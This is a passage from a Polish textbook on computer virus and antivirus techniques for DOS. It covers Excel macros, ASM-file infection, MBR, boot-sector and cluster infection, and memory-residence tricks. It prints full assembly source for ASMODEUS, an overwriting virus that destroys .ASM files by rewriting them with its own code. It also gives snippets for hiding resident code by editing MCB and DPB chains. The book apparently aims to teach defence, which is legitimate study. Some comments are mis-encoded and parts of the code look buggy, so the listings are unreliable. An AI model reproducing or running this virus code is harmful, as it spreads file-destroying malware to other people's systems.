Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr, które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik PERSONAL.XLS, inne jest też nazewnictwo makr. Sam sposób działania jest w zasadzie identyczny. Poniższa tabela zawiera krótki opis makr automatycznych, dostępnych w Excelu.
Makra MS Excela o ustalonym znaczeniu
|
Nazwa makra |
Opis makra |
|
auto_open |
uruchamiane podczas rozpoczynania pracy z Excelem |
|
auto_close |
uruchamiane podczas zamykania arkusza |
4.1.8. Pliki ASM
Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału. Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe. Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania. Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać szesnastkową (jako ciąg DB ??h/??h/.../??h), i w takiej postaci dodać kod wirusa do zarażanego programu.
Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w efekcie niszczącego pliki).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; ASMODEUS v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; ;
; Kompilacja : ;
; TASM ASMODEUS.ASM ;
; TLINK /t ASMODEUS.OBJ ;
; ;
;----------------------------------------------------------------------------;
.286p
ASMODEUS SEGMENT
JUMPS
ASSUME CS:ASMODEUS, DS:ASMODEUS
ORG 100h
NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start)
; dlugosc dyrekty z poczatku
; pliku ASM (ASSUME, ORG, itd.)
ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start)
; dlugosc dyrekty z konca
; pliku ASM (ENDS, END)
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 (?) ; nazwa znalezionej pozycji
DTAStruc ends
NoweDTA equ 80h
VirusStart: ; tu zaczyna sie kod wirusa
lea dx,TeInformacja ; podaj, gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,MaskaASM ; maska poszukiwanych plikow '*.ASM'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3d02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,ASMNaglowek_Rozmiar ; ile zapisac
lea dx,ASMNaglowek_Start ; skad pobrac dane
mov ah,40h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
cld ; operacje na lancuchach do przodu
push bx ; zachowaj uchwyt pliku
lea di,Bufor ; gdzie zapisywac wynik
lea bx,Hex ; gdzie znajduje sie tablica
; translacji na znaki heksalne
lea si,VirusStart ; gdzie zaczyna sie kod
mov cx,VirusDlug ; ilosc bajtow do konwersji
RobHex:
mov ax,'BD' ; \
stosw ; \ zapisz sekwencje
mov ax,'0 ' ; / 'db 0'
stosw ; /
lodsb ; pobierz bajt kodu
mov ah,al ; zapamietaj na pozniej
shr al,4 ; pobierz 4 gorne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go
mov al,ah ; wez zapamietany bajt kodu
and al,15 ; pobierz 4 dolne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go
; teraz bufor= 'db 0??'
mov al,'h' ; zapisz 'h' w buforze
stosb
; teraz bufor='db 0??h'
mov ax,0A0Dh ; zapisz znaki CR,LF
stosw
; teraz bufor='db 0??h',CR,LF
loop RobHex ; przetwarzaj caly kod programu
pop bx ; przwyroc uchwyt pliku
sub di,offset Bufor ; oblicz, ile bajtow zajmuje bufor
mov cx,di ; ile bajtow zapisac
lea dx,Bufor ; podaj, skad zapisac wirusa
; jako ciag DB ?,?, ... ?,?,?
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ASMKoncowka_Rozmiar ; ile zapisac
lea dx,ASMKoncowka_Start ; skad pobrac dane
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik ASM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
PrzywrocAtrybut:
mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
BezInfekcji:
ret ; koncz program, skocz do PSP:100h
; do rozkazu Int 20h
MaskaASM db '*.ASM' ; maska plikow ASM (ASCIIZ)
ASMNaglowek_Start:
db 'V SEGMENT',CR,LF
db 'ORG 100h',CR,LF
db 'Start:',CR,LF
ASMNaglowek_Koniec:
ASMKoncowka_Start:
db 'V ENDS',CR,LF
db 'END Start',CR,LF
ASMKoncowka_Koniec:
Hex db '0123456789ABCDEF'
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
Bufor db 32768 dup (?)
ASMODEUS ENDS
END VirusStart
4.2. Sektory systemowe
Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw sterowanie do BIOS-a, który po przeprowadzeniu różnych testów przekazuje kontrolę dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. BOOT-sektorem. Dokładniejszy ich opis znajduje się dalej.
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR)
Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na logiczne party-cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach.
Format głównego rekordu ładującego (MBR)
|
Adres |
Zawartość |
|
000 |
Program wczytujący system z aktywnej partycji dysku twardego |
|
1BE |
Opis strefy nr 1 |
|
1CE |
Opis strefy nr 2 |
|
1DE |
Opis strefy nr 3 |
|
1EE |
Opis strefy nr 4 |
|
1FE |
Bajty 055h i 0AAh |
Opis jednej strefy w tablicy partycji
|
Adres |
Zawartość |
|
00 |
Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego 80h - strefa zawiera system operacyjny |
|
01 |
Numer głowicy, pod którą zaczyna się strefa |
|
02-03 |
Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane następująco (litery odpowiadają kolejnym bitom): bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss = numer sektora (0-63) CCcccccccc = numer cylindra (0-1023) |
|
04 |
Rodzaj strefy (wg następnej tablicy) |
|
05 |
Numer głowicy, pod którą kończy się strefa |
|
06-07 |
Numer cylindra i sektora, pod którymi kończy się strefa, zapisane tak samo jak w polu 02h-03h |
|
08-0B |
Względny numer sektora rozpoczynającego strefę |
|
0C-0F |
Długość strefy w sektorach |
Rodzaje stref wg bajtu z pola 04h w opisie strefy
|
Bajt Rodzaj strefy |
|
00h pusta |
|
01h DOS 12-bit FAT |
|
02h XENIX |
|
03h XENIX /usr |
|
04h DOSl6-bitFAT(do32M) |
|
05h DOS 3.3+ rozszerzona partycja |
|
06h DOS 3.31 + Large File System (16-bit FAT) |
|
07h QNX |
|
07h OS/2 HPFS |
|
07h Windows NT NTFS |
|
07h Advanced Unix |
|
08h OS/2 (tylko v1.0-1.3) |
|
08h AIX |
|
08h Commodore DOS |
|
08h DELL |
|
09h AIX |
|
09h Coherent |
|
0Ah OS/2 Boot Manager |
|
0Ah OPUS |
|
0Ah Coherent |
|
0Bh Windows 95 - 32-bit FAT |
|
0Ch Windows 95 - 32-bit FAT (LBA) |
|
0Eh zarezerwowane przez Microsoft dla VFAT |
|
0Fh zarezerwowane przez Microsoft dla VFAT |
|
10h OPUS |
|
11h OS/2 Boot Manager 12-bit FAT |
|
12h partycja Compaq Diagnostics |
|
14h tworzy ją Noyell DOS 7.0 FDISK |
|
14h OS/2 Boot Manager |
|
16h OS/2 Boot Manager |
|
17h OS/2 Boot Manager HPFS |
|
18h AST Windows plik wymiany |
|
21h zarezerwowana |
|
23h zarezerwowana |
|
24h NEC MS-DOS 3.x |
|
26h zarezerwowana |
|
31h zarezerwowana |
|
33h zarezerwowana |
|
34h zarezerwowana |
|
36h zarezerwowana |
|
3Ch PowerQuest |
|
40h VENIX 80286 |
|
41h Persona! RISC Boot |
|
42h SFS (Secure File System) |
|
50h OnTrack Disk Manager |
|
51h OnTrack Disk Manager |
|
51h NOYELL |
|
52h CP/M |
|
52h Microport System V/386 |
|
53h OnTrack Disk Manager |
|
54h OnTrack Disk Manager (DDO) |
|
56h GoldenBow VFeature |
|
61h SpeedStor |
|
63h Unix SysV/386 |
|
63h Mach |
|
64h Novell NelWare 286 |
|
65h NovetlNetWare(3.11) |
|
67h Novell |
|
68h Novell |
|
69h Novell _ |
|
70h DiskSecure Multi-Boot |
|
71h zarezerwowana |
|
73h zarezerwowana |
|
74h zarezerwowana |
|
75h PC/lX |
|
76h zarezerwowana |
|
80h Minixv1,1 - 1.4a |
|
81h Minixv1.4b+ |
|
81h Linux |
|
81h Mitac Advanced Disk Manager |
|
82h Linux Swap |
|
82h Prime |
|
83h Linux native file system |
|
84h OS/2 |
|
86h zarezerwowana |
|
87h HPFS Fault-Tolerant |
|
93h Amoeba file system |
|
94h Amoeba bad błock table |
|
A1h zarezerwowana |
|
A3h zarezerwowana |
|
A4h zarezerwowana |
|
A5h FreeBSD |
|
A6h zarezerwowana |
|
B1h zarezerwowana |
|
B3h zarezerwowana |
|
B4h zarezerwowana |
|
B6h zarezerwowana |
|
B7h BSDI file system |
|
B8h BSDI plik wymiany |
|
C1h DR DOS 6.0 LOGIN.EXE 12-bit FAT |
|
C4h DR DOS 6.0 LOGIN.EXE 16-bit FAT |
|
C6h DR DOS 6.0 LOGlN.EXE Huge |
|
C7h Syrinx Boot |
|
D8h CP/M-86 |
|
DBh CP/M |
|
DBh CTOS (ConvergentTechnologies OS) |
|
E1h SpeedStor 12-bit FAT rozszerzona partycja |
|
E3h DOS tylko do czytania |
|
E3h Storage Dimensions |
|
E4h SpeedStor 16-bit FAT rozszerzona partycja |
|
E5h zarezerwowana |
|
E6h zarezerwowana |
|
F1h Storage Dimensions |
|
F2h DOS 3.3+ |
|
F3h zarezerwowana |
|
F4h SpeedStor |
|
F4h Storage Dimensions |
|
F6h zarezerwowana |
|
FEh LANstep |
|
FEh IBM PS/2 IML |
|
FFh Xenix |
Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji. Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa aktywna i można z niej załadować system operacyjny.
Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z powrotem na dysk przy użyciu funkcji (03/13).
Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i sterowanie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a (poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres 0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje normalne wczytywanie systemu.
4.3. Rekord ładujący (ang. BOOT-sector)
Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej: wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO (a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero program zawarty w BOOT-sektorze ładuje plik zawierający jądro systemu (w przypadku systemu DOS - najczęściej IO.SYS).
Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.
Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.
Zawartość BOOT-sektora przedstawiono w poniższej tabeli.
Zawartość BOOT-sektora
|
Adres |
Zawartość |
|
00-02 |
Instrukcja skoku do programu ładującego system, najczęściej (OEBh ?? 90h). czyli JMP SHORT |
|
03-0A |
Nazwa wersji systemu (jako łańcuch ASCII) |
|
Początek bloku BPB |
+ |
|
0B-0C |
Wielkość sektora w bajtach |
|
0E-0F |
Liczba sektorów zarezerwowanych na początku dysku |
|
10 |
Liczba kopii FAT |
|
11-12 |
Maksymalna liczba plików w katalogu głównym |
|
13-14 |
Całkowita liczba sektorów na dysku logicznym (nie używane) |
|
15 |
Bajt identyfikacji nośnika |
|
16-17 |
Liczba sektorów zajętych przez FAT |
|
18-19 |
Liczba sektorów na ścieżce |
|
1A-1B |
Liczba głowic dysku |
|
1C-1D |
|
|
Koniec bloku BPB |
|
|
24 |
Numer fizyczny dysku |
|
25 |
Zarezerwowane |
|
26 |
Rozszerzony znacznik BOOT-sektora |
|
27-2A |
Numer woluminu |
|
2B-35 |
Etykieta dysku |
|
36-3D |
Typ FAT zapisany jako łańcuch ASCII |
|
??-1FF |
Program wczytujący system |
Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń związanych z translacją sektorów logicznych na fizyczne.
4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)
Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang. File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu 0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych odczytów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych zawartych w tablicy FAT.
Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku (najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma następnie możliwość wczytania dalszej części programu na podsta
wie przechowywanej oryginalnej wartości pierwszej JAP oraz długości pliku. W celu zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk, zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi dysku logicznego przez system (część danych znajduje się w bloku BPB dysku, zawartego w BOOT-sektorze).
Pełny opis bloku DPB zawarto w poniższej tabeli.
Format bloku DPB
|
Adres |
Zawartość |
|
00 |
Numer dysku A:=0, B:=1, C:=2 |
|
01 |
Numer jednostki w programie obsługi |
|
02-03 |
Wielkość sektora w bajtach |
|
05 |
log2 (liczba sektorów w JAP) |
|
06 |
Liczba zarezerwowanych sektorów na początku dysku |
|
08 |
Ilość kopii tablicy FAT (najczęściej 2) |
|
09-0A |
Maksymalna ilość plików w katalogu głównym |
|
0B-0C |
Pierwszy sektor danych |
|
0F-10 |
Liczba sektorów na FAT |
|
11-12 |
Numer pierwszego sektora katalogu |
|
13-16 |
Daleki wskaźnik do programu obsługi dysku |
|
17 |
Bajt identyfikacji nośnika |
|
18 |
Znacznik dostępu do dysku |
|
19-1C |
Daleki wskaźnik do następnego bloku DPB |
|
1D-1E |
Numer pierwszej wolnej JAP na dysku |
|
1F-20 |
Liczba wolnych JAP na dysku |
Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do kolejnych bloków DPB. Realizuje to poniższa sekwencja:
Przeszukiwanie łańcucha DPB
mov AH,52h ; funkcja DOS - pobierz adres do listy list (LL)
INT 21h ; wywo│aj DOS po wywo│aniu ES:BX zawiera adres do LL, w
; kom¾rkach od ES:[BX] do ES:[BX+3] znajduje
; siÛ daleki wskaƒnik do pierwszego DPB
LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB
NastÛpnyDPB: ; pocz╣tek pÛtli
LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs│ugi LES BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastÛpny bloku DPB, je┐eli jest
; to ostatni blok, to ES i BX zawieraj╣ OFFFFh,
MOV AX,ES ; weƒ segment
CMP AX,0FFFFh ; czy ES=OFFFFh ?
JNZ NastÛpnyDPB ; je£li nie, to jest jeszcze kolejny DPB
CMP BX,AX ; czy BX=OFFFFh?
JNZ NastÛpnyDPB ; je£li nie, to jest jeszcze kolejny DPB
4.5. Wirusy kombinowane (ang: multipartition)
Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów.
W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa się go wirusem typu multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego typu bardzo szybko rozprzestrzeniają się w systemie komputerowym.
Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych przez system obszarów pamięci.
Do instalacji można wykorzystać dowolny fragment pamięci, który na pewno nie zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura obsługi przejętego przerwania).
ROZDZIAŁ 5
5.1. Instalacja w tablicy wektorów przerwań
W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w obszarze 0000:0200-0000:0400 pojawia się 512-bajtowa luka, w której można umieścić kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie, potrzebujące do swych celów małego obszaru pamięci operacyjnej,
5.2. Instalacja w obszarze zmiennych DOS
W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar wykorzystywany przy starcie systemu. Po załadowaniu obszar ten zawiera nieistotne dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa.
5.3. Instalacja w pamięci poniżej 640kB i UMB
Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock). Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16 bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od granicy paragrafu.
Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB - LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang. Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli.
Format MCB
|
Adres |
Zawartość |
|
00 |
Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza ostatni blok w łańcuchu |
|
01-02 |
Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie niewidoczny dla programów przeglądających pamięć (dokładniej: będzie widoczny, ale będzie traktowany jako integralna część systemu) |
|
03-04 |
Rozmiar bloku w 16-bajtowych paragrafach |
|
05-07 |
Zarezerwowane dla systemu |
|
08-0F |
8-bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych. Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to skrót od System Code. a SD od System Data) |
Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej polega na modyfikacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy, poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość realizuje się za pomocą następującej sekwencji:
; Poszukiwanie ostatniego bloku w │a±cuchu mcb
MOV AH,52H ; funkcja DOS - weƒ adres do listy
; list (ll)
INT 21H ; wywo│aj funkcjÛ
MOV AX,ES:[BX-2] ; AX=adres segmentowy pierwszego MCB
NAST╩PNY:
MOV DS,AX ; ds wskazuje na sprawdzany blok MCB
CMP BYTE PTR DS:[0], Z ; czy ostatni blok ?
JE OSTATNI ; skocz, je£li tak
INC AX ; dodaj rozmiar MCB (16 bajt¾w=1 paragraf)
ADD AX, DS:[3] ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB
JMP SHORT NASTEPNY ; sprawdƒ nastÛpny blok
OSTATNI: ; ds wskazuje na ostatni blok
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych)
SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla
;programu w PSP bie┐╣cego procesu
Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca sekwencja:
; Zmniejszenie bloku przydzielonego aktualnemu procesowi
MOV AH,62h ; funkcja DOS - weƒ adres PSP aktualnego procesu
INT 21h ; uruchom funkcjÛ DOS, BX zawiera adres PSP
DEC BX ; BX-1 zawiera adres MCB, bÛd╣cego w│a£cicielem bloku MOV DS,BX ; DS wskazuje na MCB
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla
; programu w PSP bie┐╣cego procesu
